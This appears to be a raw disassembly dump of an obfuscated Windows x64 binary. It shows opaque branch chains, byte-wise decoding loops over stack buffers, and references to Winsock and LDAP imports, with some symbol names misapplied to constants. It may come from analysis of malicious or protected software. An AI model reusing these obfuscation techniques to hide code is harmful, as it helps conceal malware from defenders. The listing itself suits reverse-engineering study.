lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c1118
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c10f3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c10cd
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c10b1
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c1080
mov r8, rax
lea r9, [rax + 0x40]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c16d2
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c16b6
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c0f9a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c0f80
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c105a
mov r8, rax
lea r9, [rax + 0x1000]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c102d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c100d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c0ff0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c0fd0
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c0fb6
mov r8, rax
lea r9, [rax + 0x20]
jmp 0x1400c0ea0
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x61
jmp 0x1400c0e20
add r11b, 0x67
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x2f
jmp 0x1400c0da0
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2e
jmp 0x1400c1479
add r11b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c15c9
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c1602
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c164c
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
sub r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x5b
mov byte [rbp + rsi + 0x4c0], dl
inc rsi
jmp 0x1400c0d82
add r11b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
lea edx, [r11 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x16
add dl, cl
jmp 0x1400c1602
sub r11b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400c0d82
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
inc r9
dec rsi
inc rsi
jmp 0x1400c0d82
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
sub dl, 0x42
jmp 0x1400c155a
lea rax, [r9 + 5]
cmp rbx, rax
jae 0x1400c11db
lea edx, [r11 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x19
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400c14a2
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400c12b0
lea edx, [r11 - 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xb
add dl, cl
cmp r8, 0xa
jae 0x1400c1464
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1400c139d
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x2a
jb 0x1400c1071
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x14]
jmp 0x1400c1564
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400c1215
add r11b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
inc rax
cmp rbx, rax
jne 0x1400c123d
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c164c
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400c1262
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x1400c15c9
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1400c1291
sub r11b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400c0d82
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1400c114e
lea edx, [r11 + 0x7a]
movzx eax, r10b
and al, dl
sub dl, 0x56
jmp 0x1400c155a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c12cb
lea edx, [r11 + 0x1f]
movzx eax, r10b
and al, dl
add dl, 0x27
jmp 0x1400c155a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c12f6
sub r11b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x75
dec rsi
inc rsi
jmp 0x1400c0d82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1319
lea edx, [r11 - 0x1b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x43
jmp 0x1400c1479
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c133e
add r11b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x21
jmp 0x1400c15c9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1363
lea edx, [r11 - 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x53
add dl, cl
jmp 0x1400c1602
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c1182
add r11b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x49
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c13d7
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
inc rax
cmp r8, rax
jne 0x1400c13ff
add r11b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c164c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1424
sub r11b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x36
jmp 0x1400c15c9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1449
sub r11b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400c15c6
cmp r8, rcx
jne 0x1400c11b1
lea edx, [r11 - 0x1c]
movzx eax, r10b
and al, dl
sub dl, 0x3c
jmp 0x1400c155a
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x14
add cl, cl
add dl, cl
sub r11b, 0x77
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, dl
sub cl, al
add cl, 0x41
add cl, r11b
add cl, r10b
mov byte [rbp + rsi + 0x4c0], cl
jmp 0x1400c15c6
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400c1602
lea edx, [r11 - 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x6b
add dl, cl
jmp 0x1400c1602
dec r11b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 7
jmp 0x1400c15c6
add r11b, 0x7b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5d
dec rsi
inc rsi
jmp 0x1400c0d82
add r11b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x71
inc r9
dec rsi
inc rsi
jmp 0x1400c0d82
lea edx, [r11 - 9]
movzx eax, r10b
and al, dl
add dl, 0x3f
jmp 0x1400c155a
movzx r11d, sil
lea edx, [r11 + 0x73]
movzx eax, r10b
and al, dl
sub dl, 0x25
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add r11b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0xf
add r11b, r10b
mov byte [rbp + rsi + 0x4c0], r11b
inc r9
dec rsi
inc rsi
jmp 0x1400c0d82
lea ecx, [rsi - 0x11]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x77
dec rsi
inc rsi
jmp 0x1400c0d82
lea ecx, [rsi + 0x6b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x13
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400c0d82
movabs rax, 0xf43f750f8d5f4de7
add rax, rsi
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
sub dl, 0x51
movzx r11d, sil
sub r11b, 0x35
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x73
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rsi + 0x4c0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x1400c164c
movabs rax, 0x6551e5e6898d37a5
add rax, rsi
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
add dl, 0x7d
lea ecx, [rsi - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x74
add cl, r10b
mov byte [rbp + rsi + 0x4c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
lea rax, [rsi + r13]
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
add dl, 0x4b
movzx eax, byte [rbp + rsi + 0x4c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c0d82
add r11b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 3
jmp 0x1400c0d80
sub r11b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x35
jmp 0x1400c0d70
lea rdx, [rbp + 0x1537eec]
jmp 0x1400c1707
lea rdx, [rbp + 0xfc8a0d]
jmp 0x1400c1707
lea rdx, [rbp + 0x4c0]
mov rcx, r15
call fcn.1400651a0
mov byte [rbp + 0x108], 0xa4
mov byte [rbp + 0x109], 0x5a
mov byte [rbp + 0x10a], WSASetLastError
mov byte [rbp + 0x10b], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10c], xmm0
mov qword [rbp + 0x11c], rax
mov dword [rbp + 0x124], eax
mov byte [rbp + 0x128], al
movabs rsi, 0xb6b99baf71b56e72
movabs r15, 0xff1341cc1bf6051e
movabs r14, 0x242cd30e55204b56
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x21
jae 0x1400c2134
movzx r11d, byte [rbp + rdi + 0x108]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c2118
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c17cb
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x1e
jmp 0x1400c1805
je 0x1400c2099
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c200f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1fe0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1f9f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1f79
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c20fc
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400c1839
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x76
jmp 0x1400c1870
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c1f33
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1f13
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1ef9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1ec8
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c1c72
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1c64
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1c3f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c1c1d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c1c0f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1bef
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c1bd3
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c1bb9
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c20e0
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c20c0
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c19ed
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c19d3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c19b9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c1b6b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c1af8
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c1ac7
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c1aa9
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c1a8d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c1a6d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c1a4d
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c1a2f
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c1a0d
mov r8, rax
lea r9, [rax + 0x42]
jmp 0x1400c1880
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4a
jmp 0x1400c1870
lea ecx, [r10 + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xe
jmp 0x1400c1810
add r10b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c17a0
add r10b, 8
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x38
dec rdi
inc rdi
jmp 0x1400c1782
lea edx, [r10 + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c1fbc
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1ff4
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1ff7
lea edx, [r10 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x48
add bl, dl
jmp 0x1400c2028
sub r10b, 0x6c
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0xc
add bl, r10b
jmp 0x1400c2055
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 0x42
jae 0x1400c1e98
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400c1dd8
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
cmp r9, 0x42
jb 0x1400c1e89
lea edx, [r10 + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400c1f4c
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400c1eb2
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400c1d44
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x26
jmp 0x1400c1b11
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4c
jmp 0x1400c2028
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
jmp 0x1400c1ff7
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c1ff4
lea edx, [r10 - 0x58]
mov ecx, 0x34
jmp 0x1400c1fac
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
dec rdi
inc rdi
jmp 0x1400c1782
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400c1782
lea edx, [r10 - 4]
mov ecx, recv
jmp 0x1400c1f3c
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1400c1c95
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1e
jmp 0x1400c1b84
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1ccf
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1cf8
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c1ff7
cmp r8, rcx
jne 0x1400c1d1d
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c1ff4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1b84
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
jmp 0x1400c1fbc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1d67
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x62
jmp 0x1400c1f4c
cmp r8, rcx
jne 0x1400c1d86
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x16
jmp 0x1400c1fbc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1dab
sub r10b, 0x62
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x52
jmp 0x1400c1ff4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1b11
sub r10b, 0x7e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1ff7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1e12
add r10b, 0x68
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
cmp r8, rcx
jne 0x1400c1e37
add r10b, 0x14
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1ff7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1e60
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1ff4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1b41
lea edx, [r10 - 0x24]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1400c1fbc
mov byte [rbp + rdi + 0x108], bl
inc rdi
jmp 0x1400c1782
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x30
jmp 0x1400c1fb7
lea ecx, [r10 + 0x34]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x6c]
jmp 0x1400c2028
add r10b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1a
jmp 0x1400c2028
sub r10b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c1ff7
lea edx, [r10 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x12
add r10b, r11b
mov byte [rbp + rdi + 0x108], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c1782
lea edx, [rdi - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c1782
movzx r10d, dil
lea edx, [r10 - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x4e
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x108], cl
jmp 0x1400c1ff4
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4a
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c1782
lea rax, [rdi + r15]
and dl, al
mov ecx, reloc.WS2_32.dll_socket
sub cl, dl
lea ebx, [rcx + rcx]
add bl, al
add bl, r11b
movzx r10d, dil
sub r10b, 0x5a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x108], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x108], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x5a
movzx eax, byte [rbp + rdi + 0x108]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1782
add r10b, 0x3a
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c1780
add r10b, 0x56
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x5a
jmp 0x1400c1770
mov eax, dword [rbp + 0x16635a0]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c9066
mov eax, dword [rbp + 0x11ba412]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c9066
mov eax, dword [rbp + 0x108]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c9066
mov byte [rbp + 0x2a0], 0x5e
mov byte [rbp + 0x2a1], 0xad
mov byte [rbp + 0x2a2], 0xac
mov byte [rbp + 0x2a3], 0xab
mov byte [rbp + 0x2a4], 0xaf
mov byte [rbp + 0x2a5], 0x67
mov byte [rbp + 0x2a6], WSASetLastError
mov byte [rbp + 0x2a7], WSASetLastError
mov byte [rbp + 0x2a8], 0x53
mov byte [rbp + 0x2a9], 0x46
mov byte [rbp + 0x2aa], 0xbb
mov byte [rbp + 0x2ab], reloc.WS2_32.dll_listen
mov byte [rbp + 0x2ac], Ordinal_79
mov byte [rbp + 0x2ad], 0x42
mov byte [rbp + 0x2ae], 0xbe
mov byte [rbp + 0x2af], 0xb0
mov byte [rbp + 0x2b0], 0xb4
mov byte [rbp + 0x2b1], 7
mov byte [rbp + 0x2b2], 0x43
mov byte [rbp + 0x2b3], 0xba
mov byte [rbp + 0x2b4], 0x7b
mov byte [rbp + 0x2b5], reloc.WLDAP32.dll_Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b6], xmm0
mov qword [rbp + 0x2c6], rax
mov dword [rbp + 0x2ce], eax
mov byte [rbp + 0x2d2], al
movabs rsi, 0x854b2f35458df5a7
movabs r15, 0xa50e4a74e6e1b791
movabs r14, 0x8fe18d9fd0a9e0f5
movzx edx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400c2d58
movzx r11d, byte [rbp + rbx + 0x2a0]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c2d4f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c228b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
